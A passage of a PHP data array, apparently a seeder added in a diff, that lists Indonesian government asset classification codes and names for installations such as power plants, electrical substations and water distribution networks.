PENGOLAHAN BAHAN BANGUNAN PERINTIS', + ], + [ + 'id_aset' => 3845, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN PERINTIS PENGAWETAN KAYU', + ], + [ + 'id_aset' => 3846, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN PERINTIS PENGERINGAN KAYU', + ], + [ + 'id_aset' => 3847, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN PERINTIS PENGERJAAN KAYU', + ], + [ + 'id_aset' => 3848, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN PERINTIS PERKAPURAN', + ], + [ + 'id_aset' => 3849, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN PERINTIS PEMBUATAN BATU CETA', + ], + [ + 'id_aset' => 3850, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN PERINTIS PEMBUATAN AGREGAT', + ], + [ + 'id_aset' => 3851, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN PERINTIS LAINNYA', + ], + [ + 'id_aset' => 3852, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN TERAPAN', + ], + [ + 'id_aset' => 3853, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN TERAPAN', + ], + [ + 'id_aset' => 3854, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN TERAPAN LAINNYA', + ], + [ + 'id_aset' => 3855, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN LAINNYA', + ], + [ + 'id_aset' => 3856, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN LAINNYA', + ], + [ + 'id_aset' => 3857, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK', + ], + [ + 'id_aset' => 3858, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA AIR (PLTA)', + ], + [ + 'id_aset' => 3859, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI PLTA KAPASITAS KECIL', + ], + [ + 'id_aset' => 3860, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI PLTA KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3861, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI PLTA KAPASITAS BESAR', + ], + [ + 'id_aset' => 3862, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA AIR (PLTA) LAINNYA', + ], + [ + 'id_aset' => 3863, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA DIESEL (PLTD)', + ], + [ + 'id_aset' => 3864, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI PLTD KAPASITAS KECIL', + ], + [ + 'id_aset' => 3865, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI PLTD KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3866, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI PLTD KAPASITAS BESAR', + ], + [ + 'id_aset' => 3867, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA DIESEL (PLTD) LAINNYA', + ], + [ + 'id_aset' => 3868, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA MIKRO HIDRO (PLTM)', + ], + [ + 'id_aset' => 3869, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI PLTM KAPASITAS KECIL', + ], + [ + 'id_aset' => 3870, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI PLTM KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3871, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI PLTM KAPASITAS BESAR', + ], + [ + 'id_aset' => 3872, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA MIKRO HIDRO (PLTM) LAINNYA', + ], + [ + 'id_aset' => 3873, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA ANGIN (PLTAN)', + ], + [ + 'id_aset' => 3874, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI PLTAN KAPASITAS KECIL', + ], + [ + 'id_aset' => 3875, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI PLTAN KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3876, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI PLTAN KAPASITAS BESAR', + ], + [ + 'id_aset' => 3877, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA ANGIN (PLTAN) LAINNYA', + ], + [ + 'id_aset' => 3878, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA UAP (PLTU)', + ], + [ + 'id_aset' => 3879, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI PLTU KAPASITAS KECIL', + ], + [ + 'id_aset' => 3880, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI PLTU KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3881, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI PLTU KAPASITAS BESAR', + ], + [ + 'id_aset' => 3882, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA UAP (PLTU) LAINNYA', + ], + [ + 'id_aset' => 3883, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA NUKLIR (PLTN)', + ], + [ + 'id_aset' => 3884, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI PLTN KAPASITAS KECIL', + ], + [ + 'id_aset' => 3885, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI PLTN KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3886, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI PLTN KAPASITAS BESAR', + ], + [ + 'id_aset' => 3887, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA NUKLIR (PLTN) LAINNYA', + ], + [ + 'id_aset' => 3888, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA GAS (PLTG)', + ], + [ + 'id_aset' => 3889, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI PLTG KAPASITAS KECIL', + ], + [ + 'id_aset' => 3890, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI PLTG KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3891, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI PLTG KAPASITAS BESAR', + ], + [ + 'id_aset' => 3892, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA GAS (PLTG) LAINNYA', + ], + [ + 'id_aset' => 3893, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA PANAS BUMI (PLTP)', + ], + [ + 'id_aset' => 3894, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI PLTP KAPASITAS KECIL', + ], + [ + 'id_aset' => 3895, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI PLTP KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3896, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI PLTP KAPASITAS BESAR', + ], + [ + 'id_aset' => 3897, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA PANAS BUMI (PLTP) LAINNYA', + ], + [ + 'id_aset' => 3898, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA SURYA (PLTS)', + ], + [ + 'id_aset' => 3899, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI PLTS KAPASITAS KECIL', + ], + [ + 'id_aset' => 3900, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI PLTS KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3901, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI PLTS KAPASITAS BESAR', + ], + [ + 'id_aset' => 3902, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA SURYA (PLTS) LAIINNYA', + ], + [ + 'id_aset' => 3903, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA BIOGAS (PLTB)', + ], + [ + 'id_aset' => 3904, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI PLTB KAPASITAS KECIL', + ], + [ + 'id_aset' => 3905, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI PLTB KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3906, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI PLTB KAPASITAS BESAR', + ], + [ + 'id_aset' => 3907, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '10', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA BIOGAS (PLTB) LAINNYA', + ], + [ + 'id_aset' => 3908, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA SAMUDERA / GELOMBANG SAMUDERA', + ], + [ + 'id_aset' => 3909, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI PLTSM KAPASITAS KECIL', + ], + [ + 'id_aset' => 3910, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI PLTSM KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3911, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI PLTSM KAPASITAS BESAR', + ], + [ + 'id_aset' => 3912, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '11', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK TENAGA SAMUDERA / GELOMBANG SAMUDERA LAINNYA', + ], + [ + 'id_aset' => 3913, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK LAINNYA', + ], + [ + 'id_aset' => 3914, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '05', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PEMBANGKIT LISTRIK LAINNYA', + ], + [ + 'id_aset' => 3915, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI GARDU LISTRIK', + ], + [ + 'id_aset' => 3916, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI GARDU LISTRIK INDUK', + ], + [ + 'id_aset' => 3917, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI GARDU LISTRIK INDUK KAPASITAS KECIL', + ], + [ + 'id_aset' => 3918, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI GARDU LISTRIK INDUK KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3919, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI GARDU LISTRIK INDUK KAPASITAS BESAR', + ], + [ + 'id_aset' => 3920, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI GARDU LISTRIK INDUK LAINNYA', + ], + [ + 'id_aset' => 3921, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI GARDU LISTRIK DISTRIBUSI', + ], + [ + 'id_aset' => 3922, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI GARDU LISTRIK DISTRIBUSI KAPASITAS KECIL', + ], + [ + 'id_aset' => 3923, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI GARDU LISTRIK DISTRIBUSI KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3924, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI GARDU LISTRIK DISTRIBUSI KAPASITAS BESAR', + ], + [ + 'id_aset' => 3925, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI GARDU LISTRIK DISTRIBUSI LAINNYA', + ], + [ + 'id_aset' => 3926, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PUSAT PENGATUR LISTRIK', + ], + [ + 'id_aset' => 3927, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI PUSAT PENGATUR LISTRIK KAPASITAS KECIL', + ], + [ + 'id_aset' => 3928, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI PUSAT PENGATUR LISTRIK KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3929, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI PUSAT PENGATUR LISTRIK KAPASITAS BESAR', + ], + [ + 'id_aset' => 3930, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PUSAT PENGATUR LISTRIK LAINNYA', + ], + [ + 'id_aset' => 3931, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI GARDU LISTRIK LAINNYA', + ], + [ + 'id_aset' => 3932, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '06', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI GARDU LISTRIK LAINNYA', + ], + [ + 'id_aset' => 3933, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '07', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI LAIN', + ], + [ + 'id_aset' => 3934, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI LAIN', + ], + [ + 'id_aset' => 3935, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI GENERATING SET', + ], + [ + 'id_aset' => 3936, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI AC', + ], + [ + 'id_aset' => 3937, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI BUILDING AUTOMATION SYSTEM (BAS)', + ], + [ + 'id_aset' => 3938, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'INSTALASI KOMPUTER', + ], + [ + 'id_aset' => 3939, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI LAIN-LAIN', + ], + [ + 'id_aset' => 3940, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN', + ], + [ + 'id_aset' => 3941, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN AIR MINUM', + ], + [ + 'id_aset' => 3942, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN PEMBAWA', + ], + [ + 'id_aset' => 3943, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'JARINGAN PEMBAWA KAPASITAS KECIL', + ], + [ + 'id_aset' => 3944, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'JARINGAN PEMBAWA KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3945, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'JARINGAN PEMBAWA KAPASITAS BESAR', + ], + [ + 'id_aset' => 3946, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN PEMBAWA LAINNYA', + ], + [ + 'id_aset' => 3947, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN INDUK DISTRIBUSI', + ], + [ + 'id_aset' => 3948, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'JARINGAN INDUK DISTRIBUSI KAPASITAS KECIL', + ], + [ + 'id_aset' => 3949, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'JARINGAN INDUK DISTRIBUSI KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3950, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'JARINGAN INDUK DISTRIBUSI KAPASITAS BESAR', + ], + [ + 'id_aset' => 3951, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN INDUK DISTRIBUSI LAINNYA', + ], + [ + 'id_aset' => 3952, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN CABANG DISTRIBUSI', + ], + [ + 'id_aset' => 3953, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'JARINGAN CABANG DISTRIBUSI KAPASITAS KECIL', + ], + [ + 'id_aset' => 3954, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'JARINGAN CABANG DISTRIBUSI KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3955, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'JARINGAN CABANG DISTRIBUSI KAPASITAS BESAR', + ], + [ + 'id_aset' => 3956, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN CABANG DISTRIBUSI LAINNYA', + ], + [ + 'id_aset' => 3957, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN SAMBUNGAN KE RUMAH', + ], + [ + 'id_aset' => 3958, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'JARINGAN SAMBUNGAN KE RUMAH KAPASITAS KECIL', + ], + [ + 'id_aset' => 3959, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'JARINGAN SAMBUNGAN KE RUMAH KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3960, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'JARINGAN SAMBUNGAN KE RUMAH KAPASITAS BESAR', + ], + [ + 'id_aset' => 3961, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN SAMBUNGAN KE RUMAH LAINNYA', + ], + [ + 'id_aset' => 3962, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN AIR MINUM LAINNYA', + ], + [ + 'id_aset' => 3963, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN AIR MINUM LAINNYA', + ], + [ + 'id_aset' => 3964, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN LISTRIK', + ], + [ + 'id_aset' => 3965, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '02', + 